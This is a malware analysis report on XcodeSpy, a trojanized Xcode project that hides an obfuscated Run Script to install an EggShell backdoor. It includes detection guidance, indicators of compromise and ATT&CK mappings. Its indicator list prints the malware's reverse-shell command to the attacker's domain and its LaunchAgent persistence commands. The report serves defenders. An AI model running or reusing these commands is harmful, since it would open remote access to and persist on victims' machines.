New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor

Executive Summary

  • Threat actors are abusing the Run Script feature in Apple’s Xcode IDE to infect unsuspecting Apple Developers via shared Xcode Projects.
  • XcodeSpy is a malicious Xcode project that installs a custom variant of the EggShell backdoor on the developer’s macOS computer along with a persistence mechanism.
  • The backdoor has functionality for recording the victim’s microphone, camera and keyboard, as well as the ability to upload and download files.
  • The XcodeSpy infection vector could be used by other threat actors, and all Apple Developers using Xcode are advised to exercise caution when adopting shared Xcode projects.
  • SentinelOne Singularity protects against XcodeSpy. We also provide a simple method developers can use to scan their Xcode repositories for XcodeSpy in this post.

Overview

This year has brought two disturbing new trends into prominence: the targeting of developers and the use of supply chain attacks to infect broad swaths of customers. Targeting software developers is the first step in a successful supply chain attack. One way to do so is to abuse the very development tools necessary to carry out this work. In Jan 2021, Google TAG announced their discovery of a North Korean campaign targeting security researchers and exploit developers. One of the methods of infection entailed the sharing of a Visual Studio project designed to load a malicious DLL. In this post, we discuss a similar attack targeting Apple developers through malicious Xcode projects.

We recently became aware of a trojanized Xcode project in the wild targeting iOS developers thanks to a tip from an anonymous researcher. The malicious project is a doctored version of a legitimate, open-source project available on GitHub. The project offers iOS developers several advanced features for animating the iOS Tab Bar based on user interaction.

The XcodeSpy version, however, has been subtly changed to execute an obfuscated Run Script when the developer’s build target is launched. The script contacts the attackers’ C2 and drops a custom variant of the EggShell backdoor on the development machine. The malware installs a user LaunchAgent for persistence and is able to record information from the victim’s microphone, camera, and keyboard.

We have discovered two variants of the payload, custom backdoors which contain a number of encrypted C2 URLs and encrypted strings for various file paths. One encrypted string in particular is shared between the doctored Xcode project and the custom backdoors, linking them together as part of the same ‘XcodeSpy’ campaign.

At this time, we are aware of one ITW case in a U.S. organization. Indications from our analysis suggest the campaign was in operation at least between July and October 2020 and may also target developers in Asia.

We have thus far been unable to discover other samples of trojanized Xcode projects and cannot gauge the extent of this activity. However, the timeline from known samples and other indicators mentioned below suggest that other XcodeSpy projects may exist. By sharing details of this campaign, we hope to raise awareness of this attack vector and highlight the fact that developers are high-value targets for attackers.

The simple technique for hiding and launching a malicious script used by XcodeSpy could be deployed in any shared Xcode project. Consequently, all Apple developers are cautioned to check for the presence of malicious Run Scripts whenever adopting third-party Xcode projects. We provide a simple method developers can use to scan their existing local Xcode repositories in the Detection and Mitigation section below.

Abusing Xcode’s Run Script Functionality

XcodeSpy takes advantage of a built-in feature of Apple’s IDE which allows developers to run a custom shell script on launching an instance of their target application. While the technique is easy to identify if looked for, new or inexperienced developers who are not aware of the Run Script feature are particularly at risk since there is no indication in the console or debugger to indicate execution of the malicious script.

The sample we analyzed used a copy of a legitimate open-source project that can be found on Github called TabBarInteraction. For the avoidance of any doubt, the code in the Github project is not infected with XcodeSpy, nor is the developer, potato04, implicated in any way with the malware operation.

In the doctored version of TabBarInteraction, the obfuscated malscript can be found in the Build Phases tab. By default, the Run Script panel is not expanded, further aiding the malware’s bid to avoid detection by casual inspection.

Clicking the disclosure button reveals the existence of the obfuscated script.

The obfuscation is rather simple and the output can be inspected safely by substituting eval with echo and running the script in a separate shell.

The script creates a hidden file called .tag in the /tmp directory, which contains a single command: mdbcmd. This in turn is piped via a reverse shell to the attackers C2.

As we went to press today, the sample was not detected by any of the static engines on VirusTotal.

Linking XcodeSpy to a Custom EggShell Backdoor

By the time we discovered the malicious Xcode project, the C2 at cralev[.]me was already offline, so it was not possible to ascertain directly the result of the mdbcmd command. Fortunately, however, there are two samples of the EggShell backdoor on VirusTotal that contain the telltale XcodeSpy string /private/tmp/.tag.

6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b
cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134

These samples were both uploaded to VirusTotal via the Web interface from Japan, the first on August 5th and the second on October 13th.

The later sample was also found in the wild in late 2020 on a victim’s Mac in the United States. For reasons of confidentiality, we are unable to provide further details about the ITW incident. However, the victim reported that they are repeatedly targeted by North Korean APT actors and the infection came to light as part of their regular threat hunting activities.

The samples uploaded from Japan to VirusTotal came from users who were not signed in to a VirusTotal account, so it is impossible to say whether they came from the same source or two different sources. Nonetheless, they are both linked to each other and the Xcode project via containing the string P4CCeYZxhHU/hH2APz6EcXc=, which turns out to be an encrypted version of the /private/tmp/.tag string found in the malicious Xcode project.

The EggShell backdoors use a simple string encryption technique. Decryption involves passing an encrypted string to the [StringUtil decode:] method, which encodes the encrypted string in base64, then iterates over each byte, adding 0xf0 to it. This produces a printable ASCII character code which is then concatenated to produce the full string.

We can implement our own decoder in Objective-C based on the pseudo code above to decrypt the strings in the Mach-O binaries.

Decoding further strings in both variants reveals a number of hardcoded URLs used for uploading data from the victim’s machine.

https://www.suppro.co/category/search.php?ts=%@
https://www.liveupdate.cc/preview/update.php?ts=%@
https://www.appmarket.co/category/search.php?ts=%@
https://www.recentnews.cc/latest/details.php?ts=%@
https://www.truckrental.cc/order/search.php?ts=%@
https://www.everestnote.com/sheet/list.php?ts=%@
https://www.alinbox.co/product/product_detail.php?ts=%@

Where data exists, all these domains from the backdoor binaries were first seen or first “whois”-queried on the 10th or 11th of September.

The domain cralev[.]me from the malicious Xcode project was also first seen on the 10th of September.

The doctored version of the TabBarInteraction Xcode project was itself first seen on VirusTotal a week earlier, on 4th September.

The juxtaposition of these dates leads us to speculate that the attackers themselves may have uploaded the XcodeSpy project file to VirusTotal to test detection before activating their C2s. Aside from the suppro[.]co and cralev[.]me domains, the others appear to be inactive or unregistered, perhaps awaiting future use. Interestingly, the country code available from VT about the XcodeSpy uploader’s location is ‘ZZ’ – unknown.

Meanwhile, the EggShell backdoor variants were each first seen on VirusTotal some two months apart (5th August and 13th October). If the backdoors were uploaded by victims rather than the attackers (an assumption that is by no means secure), that would indicate that the first custom EggShell binary may have been a payload for an earlier XcodeSpy sample. However, we cannot assign great confidence to these speculations based on the available data. What we do know is that the first EggShell payload was uploaded a full month before the known dropper and over two months before the second payload was seen on VirusTotal on 13th October.

EggShell Execution Behavior

On execution, the customized EggShell binaries drop a LaunchAgent either at ~/Library/LaunchAgents/com.apple.usagestatistics.plist or ~/Library/LaunchAgents/com.apple.appstore.checkupdate.plist. This plist checks to see if the original executable is running; if not, it creates a copy of the executable from a ‘master’ version at ~/Library/Application Support/com.apple.AppStore/.update then executes it.

The EggShell also drops a zero byte file at /private/tmp/wt0217.lck, and a data file at ~/Library/Application Scripts/com.apple.Preview.stors. A number of other filepaths are also encrypted in the binaries (see the IoCs at the end of this post for a full list). Almost all of these paths have been customized by the attacker. However, one encrypted string decrypts to /tmp/.avatmp, a default path found in the public EggShell repo for storing AV captures.

The source code in the public EggShell repo contains various functions for persistence, screen capture and AV recording, among other things.

Analysis of the compiled XcodeSpy variants found in the wild and on VirusTotal implement these as well as their own custom data encoding and keylogging methods.

Detection and Mitigation

A full list of known IoCs is provided at the end of this post. As all C2s, path names and encrypted strings are highly customizable and easy to change, these may only be useful as indicators of past compromise for these particular samples. Therefore, a behavioral detection solution is required to fully detect the presence of XcodeSpy payloads.

Threat hunters and developers concerned as to whether they have inadvertently downloaded a project containing XcodeSpy can run a manual search with the following on the command line:

find . -name "project.pbxproj" -print0 | xargs -0 awk '/shellScript/ && /eval/{print "033[37m" $0 "033[31m" FILENAME}'

This searches for Run Scripts in the Build Phases part of an Xcode project (within the project.pbxproj file) containing both the strings shellScript and eval. If any are found, it prints out a copy of the script for inspection, along with the filename in which it was found.

The following example searches for XcodeSpy in the Documents folder and all its subfolders.

Users should switch to the appropriate parent folder in which they save Xcode projects before running the command.

Individual projects can of course be inspected for malicious Run Scripts via the Build Phases tab in the Xcode project navigator.

Conclusion

This is not the first time threat actors have used Xcode as a vector to infect Apple platform developers. In 2015, XcodeGhost offered iOS developers in China a version of Xcode that downloaded faster from local mirrors than from Apple’s servers. What the recipients didn’t know was that the version of Xcode they received had been altered to inject malicious code into any apps compiled with it. Apps compiled with XcodeGhost could be used by the attackers to read and write to the device clipboard, open specific URLs (e.g., WhatsApp, Facebook) and exfiltrate data to C2s. In effect, XcodeGhost was a supply chain attack, infecting downstream victims by means of third-party software.

In contrast, XcodeSpy takes the form of a trojanized Xcode project, making it lighter and easier to distribute than a full version of the Xcode IDE. While XcodeSpy appears to be directly targeted at the developers themselves rather than developers’ products or clients, it’s a short step from backdooring a developer’s working environment to delivering malware to users of that developer’s software.

It is entirely possible that XcodeSpy may have been targeted at a particular developer or group of developers, but there are other potential scenarios with such high-value victims. Attackers could simply be trawling for interesting targets and gathering data for future campaigns, or they could be attempting to gather AppleID credentials for use in other campaigns that use malware with valid Apple Developer code signatures. These suggestions do not exhaust the possibilities, nor are they mutually exclusive.

We hope that this publication will raise awareness of this threat, and we would be very interested to hear from other researchers or individuals that find evidence of XcodeSpy infections in the wild.

Indicators of Compromise

URLs & Resolving IPs
www[.]cralev.me/
hxxps://www[.]liveupdate.cc/preview/update.php
hxxps://www[.]appmarket.co/category/search.php
hxxps://www[.]recentnews.cc/latest/details.php
hxxps://www[.]truckrental.cc/order/search.php
hxxps://www[.]everestnote.com/sheet/list.php
hxxps://www[.]alinbox.co/product/product_detail.php
hxxps://www[.]suppro.co/category/search.php
hxxps://www[.]elemark.co/product/list.php

193.34.167.111
193.34.167.205
193.34.166.127

EggShell bins: */.update
SHA 256: 6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b
SHA 1: 556a2174398890e3d628aec0163a42a7b7fb8ffd
SHA 256: cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134
SHA 1: 0ae9d61185f793c6d53e560e91265583675abeb6
SHA 256: 6a1f7edf41ac2d52e3d0442b825bbdaf404199ed8b45b33ecd52a58acc12087a
SHA 1: 4d1006610a4fe903b6b9fdb41cff7fc88b3a580c

Xcode proj: TabBarInteraction.zip
SHA 256: 1cfa154d0145c1fe059ffe61e7b295c16bbc0e0b0e707e7ad0b5f76c7d6b66d2
SHA 1: d65334d6c829955947f0ceb2258581c59cfd7dab

Encoded Filepaths
~/Library/Application Scripts/com.apple.TextEdit/.stors
~/Library/Application Scripts/com.apple.Preview/.stors
~/Library/Application Scripts/com.apple.usernoted/.wfy1607
~/Library/Application Scripts/com.apple.TextEdit/.scriptdb
~/Library/Application Support/com.apple.AppStore/.update
~/Library/Application Support/com.apple.usernoted/.wfy1607
~/Library/LaunchAgents/com.apple.usagestatistics.plist
~/Library/LaunchAgents/com.apple.appstore.checkupdate.plist
/private/tmp/.osacache
/private/tmp/.osacache2
/private/tmp/.update
/tmp/.avatmp
/private/tmp/.wt0217.lck
/private/tmp/.wt0173.lck
/private/tmp/.tag

Behavioral Indicators
killall %@;sleep 3;cp "%@" "%@";chmod +x "%@";"%@" %@ 1>/dev/null 2>/dev/null
if (! pgrep -x %@ >/dev/null);then cp "%@" "%@";chmod +x "%@";"%@";fi;
sleep 1;launchctl unload "%@" > /dev/null;launchctl load "%@" > /dev/null
launchctl unload "%@" 2>/dev/null; rm "%@"
echo mdbcmd > /private/tmp/.tag;bash&> /dev/tcp/www.cralev.me/443 0>&1 &

MITRE ATT&CK TTPs
Application Layer Protocol: Web Protocols | XcodeSpy can use HTTPS in C2 Communications T1071 001.
Create or Modify System Process: Launch Agent | XcodeSpy can establish persistence via a LaunchAgent T1543 001.
File and Directory Discovery | XcodeSpy can scan directories on a compromised host T1083.
Hide Artifacts: Hidden Files and Directories | XcodeSpy hides several files with a dot prefix to make them hidden from view in the Finder application T1564 001.
Ingress Tool Transfer | XcodeSpy can download its payload from a C2 server T1105.
Masquerading | XcodeSpy drops several files at paths using the “com.apple” reverse identifier and in subfolders named after legitimate macOS system software (TextEdit, Preview) T1036.
Input Capture: Keylogging | XcodeSpy can log user keystrokes to intercept credentials as the user types them T1056 001.
Input Capture: GUI Input Capture | XcodeSpy can prompt users for credentials with a seemingly legitimate prompt via AppleScript T1056 002.
Process Discovery | XcodeSpy can collect data on running and parent processes T1057.